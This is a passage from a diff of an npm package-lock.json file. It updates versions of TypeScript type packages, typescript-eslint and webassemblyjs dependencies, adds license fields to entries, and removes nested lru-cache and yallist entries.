       "resolved": "https://registry.npmjs.org/@types/react-modal/-/react-modal-3.16.3.tgz",
       "integrity": "sha512-xXuGavyEGaFQDgBv4UVm8/ZsG+qxeQ7f77yNrW3n+1J6XAstUy5rYHeIHPh1KzsGc6IkCIdu6lQ2xWzu1jBTLg==",
+      "license": "MIT",
       "dependencies": {
         "@types/react": "*"
       }
     },
     "node_modules/@types/react-redux": {
-      "version": "7.1.33",
-      "resolved": "https://registry.npmjs.org/@types/react-redux/-/react-redux-7.1.33.tgz",
-      "integrity": "sha512-NF8m5AjWCkert+fosDsN3hAlHzpjSiXlVy9EgQEmLoBhaNXbmyeGs/aj5dQzKuF+/q+S7JQagorGDW8pJ28Hmg==",
+      "version": "7.1.34",
+      "resolved": "https://registry.npmjs.org/@types/react-redux/-/react-redux-7.1.34.tgz",
+      "integrity": "sha512-GdFaVjEbYv4Fthm2ZLvj1VSCedV7TqE5y1kNwnjSdBOTXuRSgowux6J8TAct15T3CKBr63UMk+2CO7ilRhyrAQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/hoist-non-react-statics": "^3.3.0",
         "@types/react": "*",
@@ -4382,6 +4353,7 @@
       "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.20.tgz",
       "integrity": "sha512-jGjmu/ZqS7FjSH6owMcD5qpq19+1RS9DeVRqfl1FeBMxTDQAGwlMWOcs52NDoXaNKyG3d1cYQFMs9rCrb88o9Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/history": "^4.7.11",
         "@types/react": "*"
@@ -4392,6 +4364,7 @@
       "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz",
       "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/history": "^4.7.11",
         "@types/react": "*",
@@ -4402,6 +4375,7 @@
       "version": "1.17.1",
       "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz",
       "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4409,22 +4383,26 @@
     "node_modules/@types/retry": {
       "version": "0.12.0",
       "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz",
-      "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA=="
+      "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==",
+      "license": "MIT"
     },
     "node_modules/@types/scheduler": {
       "version": "0.16.8",
       "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.8.tgz",
-      "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A=="
+      "integrity": "sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==",
+      "license": "MIT"
     },
     "node_modules/@types/semver": {
-      "version": "7.5.7",
-      "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.5.7.tgz",
-      "integrity": "sha512-/wdoPq1QqkSj9/QOeKkFquEuPzQbHTWAMPH/PaUMB+JuR31lXhlWXRZ52IpfDYVlDOUBvX09uBrPwxGT1hjNBg=="
+      "version": "7.7.0",
+      "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.0.tgz",
+      "integrity": "sha512-k107IF4+Xr7UHjwDc7Cfd6PRQfbdkiRabXGRjo07b4WyPahFBZCZ1sE+BNxYIJPPg73UkfOsVOLwqVc/6ETrIA==",
+      "license": "MIT"
     },
     "node_modules/@types/send": {
-      "version": "0.17.4",
-      "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.4.tgz",
-      "integrity": "sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==",
+      "version": "0.17.5",
+      "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.5.tgz",
+      "integrity": "sha512-z6F2D3cOStZvuk2SaP6YrwkNO65iTZcwA2ZkSABegdkAh/lf+Aa/YQndZVfmEXT5vgAp6zv06VQ3ejSVjAny4w==",
+      "license": "MIT",
       "dependencies": {
         "@types/mime": "^1",
         "@types/node": "*"
@@ -4434,24 +4412,27 @@
       "version": "1.9.4",
       "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.4.tgz",
       "integrity": "sha512-qLpGZ/c2fhSs5gnYsQxtDEq3Oy8SXPClIXkW5ghvAvsNuVSA8k+gCONcUCS/UjLEYvYps+e8uBtfgXgvhwfNug==",
+      "license": "MIT",
       "dependencies": {
         "@types/express": "*"
       }
     },
     "node_modules/@types/serve-static": {
-      "version": "1.15.5",
-      "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.5.tgz",
-      "integrity": "sha512-PDRk21MnK70hja/YF8AHfC7yIsiQHn1rcXx7ijCFBX/k+XQJhQT/gw3xekXKJvx+5SXaMMS8oqQy09Mzvz2TuQ==",
+      "version": "1.15.8",
+      "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.8.tgz",
+      "integrity": "sha512-roei0UY3LhpOJvjbIP6ZZFngyLKl5dskOtDhxY5THRSpO+ZI+nzJ+m5yUMzGrp89YRa7lvknKkMYjqQFGwA7Sg==",
+      "license": "MIT",
       "dependencies": {
         "@types/http-errors": "*",
-        "@types/mime": "*",
-        "@types/node": "*"
+        "@types/node": "*",
+        "@types/send": "*"
       }
     },
     "node_modules/@types/sockjs": {
       "version": "0.3.36",
       "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.36.tgz",
       "integrity": "sha512-MK9V6NzAS1+Ud7JV9lJLFqW85VbC9dq3LmwZCuBe4wBDgKC0Kj/jd8Xl+nSviU+Qc3+m7umHHyHg//2KSa0a0Q==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4459,13 +4440,15 @@
     "node_modules/@types/stack-utils": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz",
-      "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw=="
+      "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==",
+      "license": "MIT"
     },
     "node_modules/@types/testing-library__jest-dom": {
       "version": "5.14.9",
       "resolved": "https://registry.npmjs.org/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.9.tgz",
       "integrity": "sha512-FSYhIjFlfOpGSRyVoMBMuS3ws5ehFQODymf3vlI7U1K8c7PHwWwFY7VREfmsuzHSOnoKs/9/Y983ayOs7eRzqw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/jest": "*"
       }
@@ -4473,12 +4456,14 @@
     "node_modules/@types/trusted-types": {
       "version": "2.0.7",
       "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
-      "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw=="
+      "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
+      "license": "MIT"
     },
     "node_modules/@types/ws": {
-      "version": "8.5.10",
-      "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.10.tgz",
-      "integrity": "sha512-vmQSUcfalpIq0R9q7uTo2lXs6eGIpt9wtnLdMv9LVpIjCA/+ufZRozlVoVelIYixx1ugCBKDhn89vnsEGOCx9A==",
+      "version": "8.18.1",
+      "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz",
+      "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4487,6 +4472,7 @@
       "version": "16.0.9",
       "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.9.tgz",
       "integrity": "sha512-tHhzvkFXZQeTECenFoRljLBYPZJ7jAVxqqtEI0qTLOmuultnFp4I9yKE17vTuhf7BkhCu7I4XuemPgikDVuYqA==",
+      "license": "MIT",
       "dependencies": {
         "@types/yargs-parser": "*"
       }
@@ -4494,12 +4480,14 @@
     "node_modules/@types/yargs-parser": {
       "version": "21.0.3",
       "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz",
-      "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ=="
+      "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==",
+      "license": "MIT"
     },
     "node_modules/@typescript-eslint/eslint-plugin": {
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz",
       "integrity": "sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==",
+      "license": "MIT",
       "dependencies": {
         "@eslint-community/regexpp": "^4.4.0",
         "@typescript-eslint/scope-manager": "5.62.0",
@@ -4529,24 +4517,11 @@
         }
       }
     },
-    "node_modules/@typescript-eslint/eslint-plugin/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/@typescript-eslint/eslint-plugin/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -4554,15 +4529,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/@typescript-eslint/eslint-plugin/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/@typescript-eslint/experimental-utils": {
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz",
       "integrity": "sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==",
+      "license": "MIT",
       "dependencies": {
         "@typescript-eslint/utils": "5.62.0"
       },
@@ -4581,6 +4552,7 @@
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.62.0.tgz",
       "integrity": "sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "@typescript-eslint/scope-manager": "5.62.0",
         "@typescript-eslint/types": "5.62.0",
@@ -4607,6 +4579,7 @@
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz",
       "integrity": "sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==",
+      "license": "MIT",
       "dependencies": {
         "@typescript-eslint/types": "5.62.0",
         "@typescript-eslint/visitor-keys": "5.62.0"
@@ -4623,6 +4596,7 @@
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz",
       "integrity": "sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==",
+      "license": "MIT",
       "dependencies": {
         "@typescript-eslint/typescript-estree": "5.62.0",
         "@typescript-eslint/utils": "5.62.0",
@@ -4649,6 +4623,7 @@
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.62.0.tgz",
       "integrity": "sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==",
+      "license": "MIT",
       "engines": {
         "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
       },
@@ -4661,6 +4636,7 @@
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz",
       "integrity": "sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "@typescript-eslint/types": "5.62.0",
         "@typescript-eslint/visitor-keys": "5.62.0",
@@ -4683,24 +4659,11 @@
         }
       }
     },
-    "node_modules/@typescript-eslint/typescript-estree/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -4708,15 +4671,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/@typescript-eslint/typescript-estree/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/@typescript-eslint/utils": {
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.62.0.tgz",
       "integrity": "sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==",
+      "license": "MIT",
       "dependencies": {
         "@eslint-community/eslint-utils": "^4.2.0",
         "@types/json-schema": "^7.0.9",
@@ -4742,6 +4701,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
       "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "esrecurse": "^4.3.0",
         "estraverse": "^4.1.1"
@@ -4754,28 +4714,16 @@
       "version": "4.3.0",
       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
       "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
+      "license": "BSD-2-Clause",
       "engines": {
         "node": ">=4.0"
       }
     },
-    "node_modules/@typescript-eslint/utils/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/@typescript-eslint/utils/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -4783,15 +4731,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/@typescript-eslint/utils/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/@typescript-eslint/visitor-keys": {
       "version": "5.62.0",
       "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz",
       "integrity": "sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==",
+      "license": "MIT",
       "dependencies": {
         "@typescript-eslint/types": "5.62.0",
         "eslint-visitor-keys": "^3.3.0"
@@ -4805,161 +4749,181 @@
       }
     },
     "node_modules/@ungap/structured-clone": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz",
-      "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ=="
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz",
+      "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==",
+      "license": "ISC"
     },
     "node_modules/@webassemblyjs/ast": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz",
-      "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz",
+      "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/helper-numbers": "1.11.6",
-        "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
+        "@webassemblyjs/helper-numbers": "1.13.2",
+        "@webassemblyjs/helper-wasm-bytecode": "1.13.2"
       }
     },
     "node_modules/@webassemblyjs/floating-point-hex-parser": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
-      "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz",
+      "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==",
+      "license": "MIT"
     },
     "node_modules/@webassemblyjs/helper-api-error": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
-      "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz",
+      "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==",
+      "license": "MIT"
     },
     "node_modules/@webassemblyjs/helper-buffer": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz",
-      "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA=="
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz",
+      "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==",
+      "license": "MIT"
     },
     "node_modules/@webassemblyjs/helper-numbers": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
-      "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz",
+      "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/floating-point-hex-parser": "1.11.6",
-        "@webassemblyjs/helper-api-error": "1.11.6",
+        "@webassemblyjs/floating-point-hex-parser": "1.13.2",
+        "@webassemblyjs/helper-api-error": "1.13.2",
         "@xtuc/long": "4.2.2"
       }
     },
     "node_modules/@webassemblyjs/helper-wasm-bytecode": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
-      "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz",
+      "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==",
+      "license": "MIT"
     },
     "node_modules/@webassemblyjs/helper-wasm-section": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz",
-      "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==",
+      "version": "1.14.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz",
+      "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==",
+      "license": "MIT",
       "dependencies": {
-        "@webassemblyjs/ast": "1.11.6",
-        "@webassemblyjs/helper-buffer": "1.11.6",
-        "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
-        "@webassemblyjs/wasm-gen": "1.11.6"
+        "@webassemblyjs/ast": "1.14.1",
+        "@webassemblyjs/helper-buffer": "1.14.1",
+        "@webassemblyjs/helper-wasm-bytecode": "1.13.2",
+        "@webassemblyjs/wasm-gen": "1.14.1"
       }
     },
     "node_modules/@webassemblyjs/ieee754": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
-      "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz",
+      "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==",
+      "license": "MIT",
       "dependencies": {
         "@xtuc/ieee754": "^1.2.0"
       }
     },
     "node_modules/@webassemblyjs/leb128": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
-      "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz",
+      "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==",
+      "license": "Apache-2.0",
       "dependencies": {
         "@xtuc/long": "4.2.2"
       }
     },
     "node_modules/@webassemblyjs/utf8": {
-      "version": "1.11.6",
-      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
-      "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz",
+      "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==",
+      "license": "MIT"
     },
     "node_modules/@webassemblyjs/wasm-edit": {
